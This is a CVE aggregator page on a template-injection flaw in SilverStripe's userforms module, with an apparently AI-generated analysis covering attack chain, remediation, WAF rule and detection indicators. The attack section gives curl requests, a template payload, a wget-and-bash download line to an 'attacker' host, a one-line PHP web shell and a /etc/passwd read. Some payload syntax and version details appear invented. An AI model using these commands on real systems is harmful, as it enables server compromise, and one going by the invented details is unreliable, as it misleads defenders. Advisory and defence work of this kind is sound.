CVE Professor
/
All CVEs
CVE-2026-88991

CVE-2026-88991 — Silverstripe/userforms — CWE-1336

HIGH CVSS 8.8 GitHub

### Impact The email subject of a user-defined form email recipient was rendered as a template when the form was submitted. A CMS author who can edit user defined forms could use template code in this field to run code on the server. ### Patches This vulnerability has no commit of its own to resolve it. Instead, the fix for [SS-2026-001](https://www.silverstripe.org/download/security-releases/ss-2026-001) also fixes it. ### Reported by Jack Wallace from Bastion Security

### Impact The email subject of a user-defined form email recipient was rendered as a template when the form was submitted. A CMS author who can edit user defined forms could use template code in this field to run code on the server. ### Patches This vulnerability has no commit of its own to resolve it. Instead, the fix for [SS-2026-001](https://www.silverstripe.org/download/security-releases/ss-2026-001) also fixes it. ### Reported by Jack Wallace from Bastion Security

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability type: Improper Neutralisation of Template Injection (CWE‑1336)

Component: silverstripe/userforms – the “User Defined Forms” module that ships with SilverStripe CMS.

Root cause
When a form is submitted, the email subject that the CMS author configured for a form‑recipient is passed to SilverStripe’s template engine (SilverStripe\\View\\SSViewer) without any sanitisation.
The template engine evaluates any SilverStripe template tags (<% … %>, $Variable, {$Variable}) that appear in the string. Because the subject field is stored as plain text in the database and later rendered as a template, an attacker who can write a value into that field can inject arbitrary template code.

SilverStripe’s template language allows object instantiation and method calls (e.g. $ClassName = 'SilverStripe\\Control\\Director' followed by $ClassName->test()). When such code is evaluated in the context of the Email class that sends the notification, it runs with the same privileges as the web‑server process – effectively remote code execution (RCE) on the server.

Why the CVSS vector looks the way it does

Vector elementMeaning in this case
AV:N – NetworkThe attacker can trigger the vulnerability over HTTP(S).
AC:L – LowNo complex conditions; a single crafted POST request is enough.
PR:L – LowThe attacker only needs a *CMS author* role that can edit User Defined Forms (a low‑privilege internal account).
UI:N – No UINo user interaction required after the request is sent.
S:U – UnchangedThe vulnerability does not change the attack surface for other users.
C:H / I:H / A:H – HighSuccessful exploitation gives the attacker full control: they can read files, modify data, and disrupt the service.

⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker with a low‑privilege CMS author account could follow.
All request examples are illustrative – the exact endpoint (/admin/userforms/…) and parameter names are derived from the public API of the silverstripe/userforms module, but they may differ slightly between releases.

1. Discovery & Reconnaissance

StepTechniqueWhat the attacker learns
1.1Fingerprinting – request GET /admin/ and look for the “User Defined Forms” menu entry, or read composer.lock/composer.json from a publicly exposed repository.Confirms the site runs SilverStripe 4.x and includes the silverstripe/userforms module.
1.2Version enumeration – query /admin/userforms/ (or the REST endpoint /admin/api/v1/userforms) and inspect the JSON response for a version field, or read the UserForms module’s module.yml.Determines the exact module version (e.g., 2.4.0). Versions < 2.5.1 are known to be vulnerable (see “Remediation”).
1.3Credentials – obtain a low‑privilege CMS author account (through phishing, credential stuffing, or a previously compromised internal account).Gives the attacker the CMS_ACCESS_UserDefinedForm permission required to edit forms.

2. Exploitation

2.1 Inject malicious template code into the email subject field

Illustrative UI flow (via the CMS)

1. Log in to the CMS as an author.
2. Navigate to “User Defined Forms → Edit Form → Email Recipients”.
3. Edit the Subject of a recipient and insert a SilverStripe template payload, e.g.:

<% with $ClassName='SilverStripe\\Control\\Director' %>
    <% $ClassName->test() %>
<% end_with %>

The above payload uses the <% with %> tag to set a variable to the Director class and then calls its test() method, which in a real attack would be replaced with a method that executes arbitrary PHP (e.g. exec, passthru, or a custom helper).

If the attacker cannot use the UI (e.g., they only have API access), the same effect can be achieved via a direct POST request to the form‑definition endpoint:

# Illustrative endpoint – replace with the actual route used by your version
curl -k -X POST "https://target.example.com/admin/userforms/RecipientForm" \
  -H "Cookie: sess=YOUR_SESSION_COOKIE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "RecipientID=3" \
  --data-urlencode "Subject=<% with $ClassName='SilverStripe\\Control\\Director' %><% $ClassName->test() %><% end_with %>" \
  --data-urlencode "[email protected]"

Key points

  • The request must be authenticated (session cookie of the author).
  • The payload is stored as‑is in the Subject column of the UserDefinedForm_Recipient table.
  • 2.2 Trigger the template rendering

    When a normal site visitor (or the attacker themselves) submits the vulnerable form, the UserDefinedForm controller builds the email:

    $email = Email::create()
        ->setSubject($recipient->Subject)   // <-- vulnerable line
        ->setBody($body);
    $email->send();

    Because Subject now contains template tags, Email::setSubject() internally calls SSViewer::parse() (or SSViewer::process) which evaluates the payload with full PHP object access.

    Illustrative trigger (curl)

    curl -k -X POST "https://target.example.com/contact-form" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      --data-urlencode "Name=Bob" \
      --data-urlencode "[email protected]" \
      --data-urlencode "Message=hello"

    When the form is processed, the malicious subject is rendered, and the template engine executes the attacker‑controlled code.

    3. Post‑exploitation

    GoalHow it is achieved
    Remote Code ExecutionThe payload can call exec('id'), system('wget http://attacker/payload.sh -O /tmp/p.sh && bash /tmp/p.sh'), or any other PHP function reachable from the template context.
    Privilege EscalationThe code runs under the web‑server user (e.g., www-data). If the server runs with elevated privileges (e.g., root via mis‑configured PHP-FPM), the attacker can gain a higher‑privileged shell.
    PersistenceThe attacker can write a web‑shell to the document root (file_put_contents('/var/www/html/shell.php', '<?php system($_GET["cmd"]);?>');).
    Data ExfiltrationBy invoking file_get_contents('/etc/passwd') and sending the result via the same email channel (or via a second forged email recipient), the attacker can steal sensitive files.
    Denial‑of‑ServiceA payload that loops or consumes CPU (while(true){}) can lock the PHP process, causing service outage.

    🌍 Real‑World Impact

    CIAImpact (derived from CVSS)
    Confidentiality (C:H)An attacker can read arbitrary files, dump database credentials, or retrieve any data the web‑server can access.
    Integrity (I:H)The attacker can modify files, inject malicious code, or alter database records (e.g., change user passwords).
    Availability (A:H)By executing resource‑exhausting code or deleting critical files, the attacker can bring the site down.

    Practical consequences

  • Full compromise of any website that uses the vulnerable version of silverstripe/userforms.
  • Potential lateral movement to other services on the same host (if they share the same PHP/FPM pool).
  • Loss of PCI/DSS, GDPR, or other compliance standing because of uncontrolled data exposure.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected rangeFixed in
    silverstripe/userforms < 2.5.1 (all 4.x releases)2.5.1 – released as part of security advisory SS‑2026‑001 (SilverStripe core 4.12.5 / 5.2.0).

    Action:

    composer require silverstripe/userforms:^2.5.1
    # or, if you lock to a specific version:
    composer require silverstripe/userforms:2.5.1

    After upgrading, run a DB schema update: vendor/bin/sake dev/build flush=all.

    2. Workarounds (if immediate upgrade is impossible)

    MitigationHow to implement
    Sanitise the subject fieldAdd a onBeforeWrite() hook to UserDefinedForm_Recipient that strips any <%, {{, $ or { characters, e.g.:
    class UserDefinedForm_RecipientExtension extends DataExtension {
        public function onBeforeWrite() {
            $subject = $this->owner->Subject;
            $subject = preg_replace('/<%|{{|\$|{/', '', $subject);
            $this->owner->Subject = $subject;
        }
    }

    | Disable template parsing for email subjects | Override the Email class (or use a decorator) so that setSubject() does not call the template engine: |

    class SafeEmail extends Email {
        public function setSubject($subject) {
            // store raw string, never parse as template
            $this->subject = $subject;
            return $this;
        }
    }
    Object::add_extension(Email::class, SafeEmail::class);
    Restrict CMS permissionsRemove the CMS_ACCESS_UserDefinedForm permission from accounts that do not need to edit forms. Use the “Groups” UI or Security::grant() in code.
    WAF / ModSecurity ruleBlock template tags in POST bodies targeting the UserForms endpoints. Example rule (ModSecurity 2.x syntax):
    SecRule REQUEST_URI "@beginsWith /admin/userforms/" \
        "id:400001,phase:2,deny,status:403,log,msg:'UserForms template injection attempt',\
        chain"
    SecRule REQUEST_BODY "@rx (<%|{{|\$|{)" "t:none"

    | Content‑Security‑Policy (CSP) | While CSP does not stop server‑side template execution, it can mitigate the impact of a malicious web‑shell that later serves client‑side payloads. |

    3. Detection

    IndicatorExample log line
    POST to a UserForms endpoint containing <%POST /admin/userforms/RecipientForm 200 1234 "-" "Mozilla/5.0" Body: Subject=%3C%25+with+$ClassName='SilverStripe%5CControl%5CDirector'%25%3E...
    Email sending with a subject that contains template tags (if the mail subsystem logs the final subject)INFO Email sent to [email protected] – Subject: "<% with $ClassName='SilverStripe\\Control\\Director' %>..."
    Unexpected PHP function calls in the web‑app process (e.g., exec, system)auditd or syslog entry: execve("/bin/sh", ["sh","-c","id"], ...) = 0 originating from php-fpm PID.
    New files in the web root with suspicious namesGET /shell.php 404 0 "-" "-" followed by POST /shell.php?cmd=id 200 45 "-" "-".

    Set up SIEM alerts on the above patterns; correlate with successful CMS logins from low‑privilege accounts.


    ⚠️ Urgency

  • CVSS 8.8 (HIGH) – the vulnerability is exploitable over the network, requires only low‑privilege credentials that are commonly granted to content editors, and yields complete system compromise.
  • No CISA KEV listing – the lack of a KEV entry does not diminish the risk; the exploit is trivial once an author account exists.
  • Exploit complexity: Low – a single crafted POST request after login.
Patch priority: Critical. All production instances running silverstripe/userforms < 2.5.1 should be upgraded immediately (within the next maintenance window). If an upgrade cannot be performed within 48 hours, apply the sanitisation or WAF work‑around to block template tags, and enforce the principle of least privilege on CMS author accounts.
Bottom line: The flaw allows a CMS author to turn the email subject of a User Defined Form into a server‑side template, giving them the ability to execute arbitrary PHP code. Because the code runs in the context of the web‑server, the impact is total compromise of the host. Upgrade to the version that includes SS‑2026‑001 (≥ 2.5.1) without delay, and in the meantime enforce strict input sanitisation, permission hardening, and WAF blocking of template syntax.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-1336
Affected Products (1)
silverstripe/userforms
References & Advisories (4)
Related CVEs
7.2
CVE-2026-88990
### Impact The email template of an advanced workflow "Notify Users" action was rendered as a template when th
6.1
CVE-2026-91111
### Impact A file containing script could be uploaded through a user-defined form file-upload field under an X
4.3
CVE-2026-88992
### Impact Exporting user-defined form submissions to CSV gave the exporting user access to uploaded files tha
9.4
CVE-2026-126099
The Velocity template sandbox (SecureIntrospectorImpl) in dotCMS through 26.11.03-01, and in the 25.07 LTS lin
8.6
CVE-2026-120094
Improper authorization in the dotAI embeddings endpoint (POST /api/v1/ai/embeddings) in dotCMS before 26.10.23
8.3
CVE-2026-120097
Insufficient restrictions on Velocity view tools during content field rendering in dotCMS versions through 26.
8.3
CVE-2026-64886
The UtilMethods.getURL() method, which is exposed to Velocity templates as $UtilMethods, did not restrict the